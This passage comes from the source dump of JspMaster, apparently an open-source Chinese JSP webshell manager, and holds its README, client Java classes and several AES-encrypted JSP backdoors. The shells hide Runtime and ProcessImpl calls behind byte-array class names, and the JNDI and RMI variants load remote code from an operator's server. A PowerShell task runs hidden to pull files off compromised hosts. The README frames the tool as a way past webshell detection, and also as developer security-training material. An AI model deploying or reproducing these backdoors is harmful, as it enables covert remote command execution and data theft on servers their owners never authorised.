manager.getEngineByName("javascript"); 55 | 56 | engine.put("obj", this); 57 | engine.put("out", out); 58 | 59 | BufferedReader br = request.getReader(); 60 | String str, wholeStr = ""; 61 | while((str = br.readLine()) != null) { 62 | wholeStr += str + "\n"; 63 | } 64 | if(wholeStr != null && !wholeStr.trim().equals("")){ 65 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1)); 66 | engine.eval(wholeStr.trim()); 67 | } 68 | %> -------------------------------------------------------------------------------- /shell/流量加密版本/reflection-aes-1.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page import="javax.crypto.SecretKey" %> 3 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 4 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 5 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 6 | <%@ page import="javax.crypto.Cipher" %> 7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 8 | <%! 9 | public static String encrypt(final String plaintext) { 10 | try { 11 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 12 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 13 | // 指定加密的算法、工作模式和填充方式 14 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 15 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 16 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 17 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 18 | } catch (Exception e) { 19 | e.printStackTrace(); 20 | return null; 21 | } 22 | } 23 | 24 | public static String decrypt(final String encrypted) { 25 | try { 26 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 27 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 28 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 29 | // 指定加密的算法、工作模式和填充方式 30 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 31 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 32 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 33 | } catch (Exception e) { 34 | e.printStackTrace(); 35 | return null; 36 | } 37 | } 38 | %> 39 | <% 40 | BufferedReader br = request.getReader(); 41 | String str, wholeStr = ""; 42 | while((str = br.readLine()) != null) { 43 | wholeStr += str + "\n"; 44 | } 45 | br.close(); 46 | 47 | if(wholeStr != null && !wholeStr.trim().equals("")){ 48 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1)); 49 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101})); 50 | InputStream in = ((Process) clazz.getMethod(new String(new byte[] {101,120,101,99}), String[].class).invoke(clazz.getMethod(new String(new byte[] {103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{wholeStr.split(",",3)})).getInputStream(); 51 | int len = 0; 52 | byte[] buffer = new byte[1024]; 53 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 54 | while((len = in.read(buffer)) != -1){ 55 | baos.write(buffer, 0, len); 56 | } 57 | 58 | response.getWriter().print(encrypt(baos.toString().trim())); 59 | in.close(); 60 | baos.close(); 61 | } 62 | %> 63 | -------------------------------------------------------------------------------- /shell/流量加密版本/reflection-aes-3.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page import="javax.crypto.Cipher" %> 3 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 4 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 5 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 6 | <%@ page import="javax.crypto.SecretKey" %> 7 | <%@ page import="java.lang.reflect.Method" %> 8 | <%@ page import="java.util.Map" %> 9 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 10 | <%! 11 | public static String encrypt(final String plaintext) { 12 | try { 13 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 14 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 15 | // 指定加密的算法、工作模式和填充方式 16 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 17 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 18 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 19 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 20 | } catch (Exception e) { 21 | e.printStackTrace(); 22 | return null; 23 | } 24 | } 25 | 26 | public static String decrypt(final String encrypted) { 27 | try { 28 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 29 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 30 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 31 | // 指定加密的算法、工作模式和填充方式 32 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 33 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 34 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | return null; 38 | } 39 | } 40 | %> 41 | <% 42 | BufferedReader br = request.getReader(); 43 | String str, wholeStr = ""; 44 | while((str = br.readLine()) != null) { 45 | wholeStr += str + "\n"; 46 | } 47 | br.close(); 48 | 49 | if(wholeStr != null && !wholeStr.trim().equals("")){ 50 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1)); 51 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,73,109,112,108})); 52 | Method method = clazz.getDeclaredMethod(new String(new byte[]{115,116,97,114,116}), String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); 53 | method.setAccessible(true); 54 | Process p = (Process)method.invoke(null, wholeStr.split(",",3), null, null, null, true); 55 | InputStream in = p.getInputStream(); 56 | int len = 0; 57 | byte[] buffer = new byte[1024]; 58 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 59 | while((len = in.read(buffer)) != -1){ 60 | baos.write(buffer, 0, len); 61 | } 62 | 63 | response.getWriter().print(encrypt(baos.toString().trim())); 64 | in.close(); 65 | baos.close(); 66 | } 67 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/BasicSetting.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import com.feihong.bean.ShellEntry; 4 | import com.feihong.executor.CommandExecutor; 5 | import java.io.File; 6 | import java.util.*; 7 | 8 | public class BasicSetting { 9 | public String shellUrl; 10 | public String shellPwd; 11 | public String shellType; 12 | public String shellPlatform; 13 | public Boolean isConnected = false; 14 | public boolean encrypt; 15 | public Map headers; 16 | public String fileSeprator; 17 | public String dbFile; 18 | public String encryptKey; 19 | public String iv; 20 | public Map shells; 21 | 22 | private static BasicSetting basicSetting = new BasicSetting(); 23 | 24 | private BasicSetting(){ 25 | 26 | dbFile = System.getProperty("user.dir") + "/database/data.db"; 27 | encryptKey = ConfigUtil.getCommunicationKey(); 28 | shells = new HashMap<>(); 29 | 30 | List list = BasicUtil.getClassName(); 31 | 32 | //把 plugin 目录的内容也加入进来 33 | String path = System.getProperty("user.dir") + "/plugin/"; 34 | BasicUtil.findStringList(new File(path), list); 35 | 36 | for(String fileName : list){ 37 | if(!fileName.endsWith(".class")){ 38 | continue; 39 | } 40 | 41 | fileName = fileName.substring(0, fileName.indexOf(".")); 42 | 43 | if(!fileName.equalsIgnoreCase("CommandExecutor") && !fileName.equalsIgnoreCase("CommandExecutorFactory")){ 44 | String className = "com.feihong.executor." + fileName; 45 | 46 | try { 47 | MyClassLoader classLoader = new MyClassLoader(); 48 | Class clazz = classLoader.findClass(className); 49 | if(clazz == null){ 50 | continue; 51 | } 52 | CommandExecutor commandExecutor = (CommandExecutor) clazz.newInstance(); 53 | shells.put(commandExecutor.getName(), className); 54 | } catch (InstantiationException | IllegalAccessException e) { 55 | e.printStackTrace(); 56 | } 57 | } 58 | } 59 | 60 | } 61 | 62 | public static BasicSetting getInstance(){ 63 | return basicSetting; 64 | } 65 | 66 | public void initialize(ShellEntry entry){ 67 | basicSetting.shellUrl = entry.getUrl(); 68 | basicSetting.shellPwd = entry.getPassword(); 69 | basicSetting.shellType = entry.getType(); 70 | basicSetting.encrypt = entry.getIsEncrypt() ==1 ? true : false; 71 | basicSetting.headers = entry.getHeaders(); 72 | 73 | if(entry.getEncryptKey() != null && !entry.getEncryptKey().trim().equals("")){ 74 | basicSetting.encryptKey = entry.getEncryptKey(); 75 | }else{ 76 | basicSetting.encryptKey = ConfigUtil.getCommunicationKey(); 77 | } 78 | 79 | if(entry.getIV() != null && !entry.getIV().trim().equals("")){ 80 | basicSetting.iv = entry.getIV(); 81 | }else{ 82 | basicSetting.iv = ConfigUtil.getIV(); 83 | } 84 | } 85 | 86 | } 87 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/asm/AsmForBehind.java: -------------------------------------------------------------------------------- 1 | package com.feihong.asm; 2 | 3 | import org.objectweb.asm.*; 4 | import java.io.IOException; 5 | import static org.objectweb.asm.Opcodes.*; 6 | import static org.objectweb.asm.Opcodes.PUTFIELD; 7 | 8 | public class AsmForBehind { 9 | private String cmd; 10 | private String key; 11 | private String iv; 12 | private boolean encrypt; 13 | 14 | 15 | public AsmForBehind(String cmd, boolean encrypt, String key, String iv){ 16 | this.cmd = cmd; 17 | this.key = key; 18 | this.encrypt = encrypt; 19 | this.iv = iv; 20 | } 21 | 22 | public byte[] process(){ 23 | try{ 24 | ClassReader cr; 25 | if(encrypt){ 26 | cr = new ClassReader("com.feihong.asm.BehinderExploitAES"); 27 | }else{ 28 | cr = new ClassReader("com.feihong.asm.BehinderExploit"); 29 | } 30 | ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS); 31 | 32 | cr.accept(new ClassVisitor(Opcodes.ASM6, cw) { 33 | @Override 34 | public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, 35 | String[] exceptions) { 36 | MethodVisitor methodVisitor = super.visitMethod(access, name, descriptor, signature, exceptions); 37 | if (name.trim().equals("")) { 38 | return new ModifyMethod(methodVisitor); 39 | } 40 | 41 | return methodVisitor; 42 | } 43 | }, Opcodes.ASM6); 44 | 45 | return cw.toByteArray(); 46 | }catch(IOException e){ 47 | e.printStackTrace(); 48 | } 49 | 50 | return "".getBytes(); 51 | } 52 | 53 | private class ModifyMethod extends MethodVisitor { 54 | public ModifyMethod(MethodVisitor mv) { 55 | super(Opcodes.ASM6, mv); 56 | } 57 | 58 | @Override 59 | public void visitInsn(int opcode) { 60 | if (opcode == Opcodes.RETURN) { 61 | //动态修改实例属性age的值 62 | if(encrypt){ 63 | mv.visitVarInsn(ALOAD, 0); 64 | mv.visitLdcInsn(cmd); 65 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploitAES", "str", "Ljava/lang/String;"); 66 | mv.visitVarInsn(ALOAD, 0); 67 | mv.visitLdcInsn(key); 68 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploitAES", "encryptKey", "Ljava/lang/String;"); 69 | mv.visitVarInsn(ALOAD, 0); 70 | mv.visitLdcInsn(iv); 71 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploitAES", "iv", "Ljava/lang/String;"); 72 | }else{ 73 | mv.visitVarInsn(ALOAD, 0); 74 | mv.visitLdcInsn(cmd); 75 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploit", "str", "Ljava/lang/String;"); 76 | } 77 | 78 | } 79 | super.visitInsn(opcode); 80 | } 81 | } 82 | 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/WindowsPlatformDownloadTask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.executor.CommandExecutorFactory; 4 | import com.feihong.util.BasicUtil; 5 | import javafx.concurrent.Task; 6 | import java.io.File; 7 | import java.io.FileOutputStream; 8 | import java.util.ArrayList; 9 | import java.util.Base64; 10 | import java.util.Iterator; 11 | import java.util.List; 12 | 13 | public class WindowsPlatformDownloadTask extends Task { 14 | private String serverPath; 15 | private String localPath; 16 | private int threadNum; 17 | private int blocksize; 18 | 19 | public WindowsPlatformDownloadTask(String serverPath, String localPath, int threadNum, int blocksize){ 20 | this.serverPath = serverPath; 21 | this.localPath = localPath; 22 | this.threadNum = threadNum; 23 | this.blocksize = blocksize; 24 | } 25 | 26 | @Override 27 | protected Boolean call() throws Exception { 28 | long time1 = System.currentTimeMillis(); 29 | 30 | String cmd = "powershell -nop -w hidden -ep bypass -c \"[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('" + serverPath + "')).Length\""; 31 | String size = CommandExecutorFactory.getInstance().exec(cmd).getResponseResult(); 32 | int length = Integer.parseInt(size); 33 | System.out.println("Total size: " + length); 34 | 35 | int totalPart = (int) Math.ceil((double) length / blocksize); 36 | System.out.println("Total part: " + totalPart); 37 | 38 | List list = new ArrayList<>(); 39 | for(int i =0;i < totalPart; i++){ 40 | list.add(i); 41 | } 42 | 43 | List threadPool = new ArrayList<>(); 44 | Iterator it = list.iterator(); 45 | List runThreads = new ArrayList<>(); 46 | int count = 0; 47 | while( !isCancelled() && it.hasNext()){ ; 48 | if(threadPool.size() < threadNum){ 49 | int partNum = it.next(); 50 | Runnable runnable = new WindowsPlatformDownloadThread(serverPath, partNum, blocksize, localPath, length, threadPool); 51 | threadPool.add(runnable); 52 | Thread t = new Thread(runnable); 53 | t.start(); 54 | runThreads.add(t); 55 | updateProgress(++count, totalPart+1); 56 | } 57 | } 58 | 59 | if(isCancelled()){ 60 | //删除文件操作必须等所有线程结束,否则会出现删除了又出现的情况 61 | for(Thread t : runThreads) 62 | try{t.join();}catch(Throwable e){} 63 | 64 | new File(localPath + ".tmp").delete(); 65 | return true; 66 | } 67 | 68 | 69 | for(Thread t : runThreads) 70 | try{t.join();}catch(Throwable e){} 71 | 72 | Base64.Decoder decoder = Base64.getDecoder(); 73 | FileOutputStream fos = new FileOutputStream(localPath); 74 | fos.write(decoder.decode(BasicUtil.getContent(localPath + ".tmp"))); 75 | fos.close(); 76 | 77 | new File(localPath +".tmp").delete(); 78 | 79 | updateProgress(1.0,1.0); 80 | System.out.println("下载完毕"); 81 | 82 | long time2 = System.currentTimeMillis(); 83 | System.out.println("耗时:" + (time2 - time1)/1000.0 + "s"); 84 | return true; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/BasicUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import java.io.*; 4 | import java.net.URL; 5 | import java.util.ArrayList; 6 | import java.util.Enumeration; 7 | import java.util.List; 8 | import java.util.jar.JarEntry; 9 | import java.util.jar.JarFile; 10 | 11 | public class BasicUtil { 12 | 13 | public static String getContent(String fileName){ 14 | try { 15 | InputStream in = new FileInputStream(fileName); 16 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 17 | 18 | int len = 0; 19 | byte[] buffer = new byte[1024]; 20 | while((len = in.read(buffer)) != -1){ 21 | baos.write(buffer, 0, len); 22 | } 23 | 24 | baos.close(); 25 | in.close(); 26 | 27 | return baos.toString(); 28 | } catch (IOException e) { 29 | e.printStackTrace(); 30 | } 31 | 32 | return ""; 33 | } 34 | 35 | public static void findStringList(File dir, List allFile) { 36 | if (!dir.exists() || !dir.isDirectory()) {// 判断是否存在目录 37 | return; 38 | } 39 | File[] files = dir.listFiles(); 40 | if(files != null){ 41 | for (File file : files) {// 循环,添加文件名或回调自身 42 | if (file.isFile()) {// 如果文件 43 | allFile.add(file.getName());// 添加文件全路径名 44 | } else {// 如果是目录 45 | findStringList(file, allFile);// 回调自身继续查询 46 | } 47 | } 48 | } 49 | } 50 | 51 | public static void findFileList(File dir, List allFile) { 52 | if (!dir.exists() || !dir.isDirectory()) {// 判断是否存在目录 53 | return; 54 | } 55 | File[] files = dir.listFiles(); 56 | if(files != null){ 57 | for (File file : files) {// 循环,添加文件名或回调自身 58 | if (file.isFile()) {// 如果文件 59 | allFile.add(file);// 添加文件全路径名 60 | } else {// 如果是目录 61 | findFileList(file, allFile);// 回调自身继续查询 62 | } 63 | } 64 | } 65 | } 66 | 67 | public static List getClassName(){ 68 | List list = new ArrayList<>(); 69 | URL url = BasicUtil.class.getProtectionDomain().getCodeSource().getLocation(); 70 | if(url.getPath().endsWith(".jar")){ 71 | JarFile jar = null; 72 | try { 73 | jar = new JarFile(url.getPath()); 74 | } catch (IOException e) { 75 | e.printStackTrace(); 76 | } 77 | 78 | Enumeration enumeration = jar.entries(); 79 | while(enumeration.hasMoreElements()){ 80 | JarEntry entry = (JarEntry)enumeration.nextElement(); 81 | if(entry.getName().startsWith("com/feihong/executor") && entry.getName().endsWith(".class")){ 82 | list.add(entry.getName().split("/",4)[3]); 83 | } 84 | } 85 | }else{ 86 | String path = BasicUtil.class.getResource("/com/feihong/executor").getPath(); 87 | File file = new File(path); 88 | for(File f : file.listFiles()){ 89 | list.add(f.getName()); 90 | } 91 | } 92 | 93 | return list; 94 | 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## UPDATE: 这个项目在测试环境中表现正常,但是在实际环境中有各种各样的问题,由于本来就是一个练手项目,所以不会再维护了 2 | 3 | # 项目背景 4 | 最早读到《利用 Java 反射和类加载机制绕过JSP后门检测》这篇文章时,很感兴趣,仔细研究了作者的文章,受益颇多。之后也产生了寻找其他方式实现命令执行的想法,在经过一段时间的寻找与实践后,也确实找到了实现命令执行的其他方式。但是,由于某些 JSP 执行命令时的方式较为繁琐,无法通过调用 JavaScript 的方式产生 payload,于是决定采用 JavaFx 编写一个配套的 GUI 管理工具,于是便有了 JspMaster 的诞生。 5 | 6 | 与其他 Webshell 管理工具不同,由于一开始的想法是寻找其他命令执行的方式,所以 JspMaster 的底层逻辑是通过命令执行,而不是通过代码执行来实现的。这增强了工具的可扩展性,但同时也引入了一些困难,比如文件的上传与下载,数据库连接(暂未实现)等问题。目前所有的文件上传下载操作,在 Linux 平台下需要借助 python,在 Windows 平台下需要借助 powershell,如果服务器不支持 python 或者 powershell,文件管理功能会无法正常使用。另外由于执行命令时对命令行长度的限制,导致在 Windows 平台下上传和下载的速率较慢,虽然增加了多线程,但是由于 Windows IO 的问题,过多的线程并不会显著提升上传和下载的速率,反而会导致上传失败,这个也是使用命令执行较难克服的缺点之一。 7 | 8 | JspMaster 中内置了 **10** 种不同方式执行命令的 **JSP** 文件,这是整个项目的精华部分,其中部分参考了网络上已有的 Jsp Webshell 的实现思路,另外一些则来自自己的思考与实践。JspMaster 可以作为为开发人员进行安全培训的辅助工具,有效的向 Java 开发人员阐述某些不安全的编码的方式可能造成的危害。 9 | 10 | # 内置的 10 种 Jsp 11 | |名称|实现方式|备注| 12 | |-------------|-------------------------|----------------------| 13 | |basic.jsp|Runtime.getRuntime.exec()|Java中执行命令最基本的方式| 14 | |reflection.jsp|借助反射的方式实现命令执行|参考自http://nxw.so/3x4Ie| 15 | |URLClassLoader.jsp|借助自定义类加载器从远端加载自定义jar包方式实现命令执行|参考自互联网(出处不可考)| 16 | |deserialization.jsp|借助反序列化的方式实现命令执行|需要借助动态字节码技术| 17 | |xslt.jsp|借助XSLT转换实现命令执行|不建议在Windows平台中使用此种方式| 18 | |ELProcessor.jsp|借助EL表达式实现命令执行|容器需要支持J2EE 7标准(如Tomcat 8),参考https://www.freebuf.com/column/207439.html| 19 | |ScriptManager.jsp|借助Nashorn脚本引擎实现命令执行|未来JDK可能会移除对Nashorn脚本引擎的支持| 20 | |behind.jsp|借助自定义类加载器加载远端发送的字节码流实现命令执行|参考自冰蝎| 21 | |rmi.jsp|借助RMI实现命令执行|| 22 | |jndi.jsp|借助JNDI实现命令执行|某些高版本JDK即使设置了trustURLCodebase,trustURLCodebase选项,也不会远程加载Factory类,如JDK 11.0.5-ea| 23 | 24 | # 使用说明 25 | + URLClassLoader.jsp 26 | 使用时需要将远端Jar包的URL地址指向您VPS的地址,远端Jar包可以使用 tool 文件夹中的debug.jar 27 | + rmi.jsp 28 | 使用时需要将tool文件夹中的rmi.zip上传至您的VPS并解压,在目录中执行 29 | ``` 30 | java Server [ServerIP] [RMI监听端口] [HTTP监听端口] 31 | ``` 32 |    并将JSP文件中的rmi地址修改为您VPS的IP地址 33 | ![rmi](https://raw.githubusercontent.com/feihong-cs/JspMaster/master/imgForReadme/rmi.png) 34 | + jndi.jsp 35 | 使用时需要将tool文件夹中的jnid.zip上传至您的VPS并解压,在目录中执行 36 | ``` 37 | java Server [ServerIP] [RMI监听端口] [HTTP监听端口] 38 | ``` 39 |    并将JSP文件中的rmi地址修改为您VPS的IP地址 40 | ![jndi](https://raw.githubusercontent.com/feihong-cs/JspMaster/master/imgForReadme/jndi.png) 41 | + 界面截图 42 | ![start](https://raw.githubusercontent.com/feihong-cs/JspMaster/master/imgForReadme/start.png) 43 | ![filemanage](https://raw.githubusercontent.com/feihong-cs/JspMaster/master/imgForReadme/filemanage.png) 44 | 45 | # FAQ 46 | + Q:JspMaster流量是否加密? 47 | A:JspMaster提供了流量加密和流量未加密的两种类型的shell,并在控制面板中提供了是否启用加密的选项,使用者可以根据自己的喜好选择是否使用加密。对于启用流量加密的shell,JspMaster会使用AES加密算法对流量进行全加密,且密钥和IV为初始化时根据用户输入值和当前时间戳拼接并哈希后的值得到的,保证key和IV的唯一性。 48 | 49 | + Q:JspMaster和冰蝎有什么不同? 50 | A:底层实现不同,冰蝎功能的底层实现是借助于代码执行实现的,JspMaster的底层实现是借助于命令执行实现的。代码执行的方式比较优雅,在各种平台都可以通用。命令执行扩展性较好,支持增加不同方式的新的shell,但是需要针对不同的平台进行适配。 51 | 52 | + Q:JspMaster不支持数据库管理是因为底层是命令执行从而技术上无法实现吗? 53 | A:理论上,在Linux平台下借助python,在Windows平台下借助powershell,可以实现数据库管理功能,但是实现起来较耗时间,目前决定暂不支持数据库管理功能,后期如果JspMaster的使用者较多,可以考虑增加数据库管理功能。 54 | 55 | + Q:JspMaster只支持Jsp吗? 56 | A:是的,JspMaster目前只支持Jsp,但是提供了扩展功能。您可以将参考plugin目录中的CommandExecutor.java文件,为您的php/aspx/asp shell实现getName(显示在JspMaster中类型下拉选项框中的名称)和exec(您的shell执行命令时命令的格式,可参考已有的实现)方法,从而实现对php/aspx/asp shell的支持。 (新增了一个PHPDemo,演示对php的支持) 57 | 58 | # 特别鸣谢 59 | 感谢 Pine.Lin 在此项目编写过程中给予的大量技术支持。 60 | -------------------------------------------------------------------------------- /shell/流量加密版本/jndi-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.naming.NamingException" %> 2 | <%@ page import="java.util.Hashtable" %> 3 | <%@ page import="javax.naming.Context" %> 4 | <%@ page import="javax.naming.InitialContext" %> 5 | <%@ page import="java.lang.reflect.Method" %> 6 | <%@ page import="java.io.BufferedReader" %> 7 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 8 | <%@ page import="javax.crypto.SecretKey" %> 9 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 10 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 11 | <%@ page import="javax.crypto.Cipher" %> 12 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 13 | <%! 14 | public class JNDI { 15 | 16 | public Object lookup(String url){ 17 | try{ 18 | Hashtable env = new Hashtable(); 19 | env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 20 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 21 | System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true"); 22 | InitialContext ctx = new InitialContext(env); 23 | return ctx.lookup(url); 24 | }catch(NamingException e){ 25 | e.printStackTrace(); 26 | } 27 | 28 | return null; 29 | } 30 | } 31 | %> 32 | <%! 33 | public static String encrypt(String plaintext) { 34 | try { 35 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 36 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 37 | // 指定加密的算法、工作模式和填充方式 38 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 39 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 40 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 41 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | return null; 45 | } 46 | } 47 | 48 | public static String decrypt(String encrypted) { 49 | try { 50 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 51 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 52 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 53 | // 指定加密的算法、工作模式和填充方式 54 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 55 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 56 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 57 | } catch (Exception e) { 58 | e.printStackTrace(); 59 | return null; 60 | } 61 | } 62 | %> 63 | <%! 64 | Object obj = new JNDI().lookup("rmi://192.168.177.129:1099/Object"); 65 | %> 66 | <% 67 | BufferedReader br = request.getReader(); 68 | String str, wholeStr = ""; 69 | while((str = br.readLine()) != null) { 70 | wholeStr += str + "\n"; 71 | } 72 | br.close(); 73 | 74 | if(wholeStr != null && !wholeStr.trim().equals("")){ 75 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 76 | wholeStr = decrypt(wholeStr); 77 | Method method = obj.getClass().getMethod("run", String.class); 78 | response.getWriter().print(encrypt((String) method.invoke(obj, wholeStr))); 79 | } 80 | %> 81 | -------------------------------------------------------------------------------- /shell/流量加密版本/rmi-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.rmi.RMISecurityManager" %> 2 | <%@ page import="java.rmi.Naming" %> 3 | <%@ page import="java.lang.reflect.Method" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 6 | <%@ page import="javax.crypto.SecretKey" %> 7 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 8 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 9 | <%@ page import="javax.crypto.Cipher" %> 10 | <%@ page import="java.io.File" %> 11 | <%@ page import="java.io.FileWriter" %> 12 | <%@ page import="java.io.BufferedWriter" %> 13 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 14 | <%! 15 | public static String encrypt(final String plaintext) { 16 | try { 17 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 18 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 19 | // 指定加密的算法、工作模式和填充方式 20 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 21 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 22 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 23 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 24 | } catch (Exception e) { 25 | e.printStackTrace(); 26 | return null; 27 | } 28 | } 29 | 30 | public static String decrypt(final String encrypted) { 31 | try { 32 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 33 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 34 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 35 | // 指定加密的算法、工作模式和填充方式 36 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 37 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 38 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 39 | } catch (Exception e) { 40 | e.printStackTrace(); 41 | return null; 42 | } 43 | } 44 | %> 45 | <% 46 | BufferedReader br = request.getReader(); 47 | String str, wholeStr = ""; 48 | while((str = br.readLine()) != null) { 49 | wholeStr += str + "\n"; 50 | } 51 | br.close(); 52 | 53 | if(wholeStr != null && !wholeStr.trim().equals("")) { 54 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1)); 55 | try { 56 | File file = new File("security.policy"); 57 | if(!file.exists()){ 58 | file.createNewFile(); 59 | FileWriter fileWritter = new FileWriter(file.getName(),true); 60 | BufferedWriter bufferWritter = new BufferedWriter(fileWritter); 61 | bufferWritter.write("grant {\n" + 62 | " permission java.security.AllPermission;\n" + 63 | "};"); 64 | bufferWritter.close(); 65 | } 66 | System.setProperty("java.security.policy","security.policy"); 67 | System.setProperty("java.rmi.server.useCodebaseOnly","false"); 68 | System.setSecurityManager(new RMISecurityManager()); 69 | 70 | Object object = Naming.lookup("rmi://192.168.177.129:1099/Object"); 71 | Method method = object.getClass().getMethod("getExploit", null); 72 | Object obj = method.invoke(object); 73 | method = obj.getClass().getMethod("run", String.class); 74 | response.getWriter().print(encrypt((String)method.invoke(obj, wholeStr))); 75 | } catch (Exception e){ 76 | e.printStackTrace(); 77 | } 78 | } 79 | %> 80 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/bean/ShellEntry.java: -------------------------------------------------------------------------------- 1 | package com.feihong.bean; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | public class ShellEntry { 7 | private int id = 0; 8 | private String url = ""; 9 | private String password = ""; 10 | private String type = ""; 11 | private String createTime = ""; 12 | private String lastvisitTime = ""; 13 | 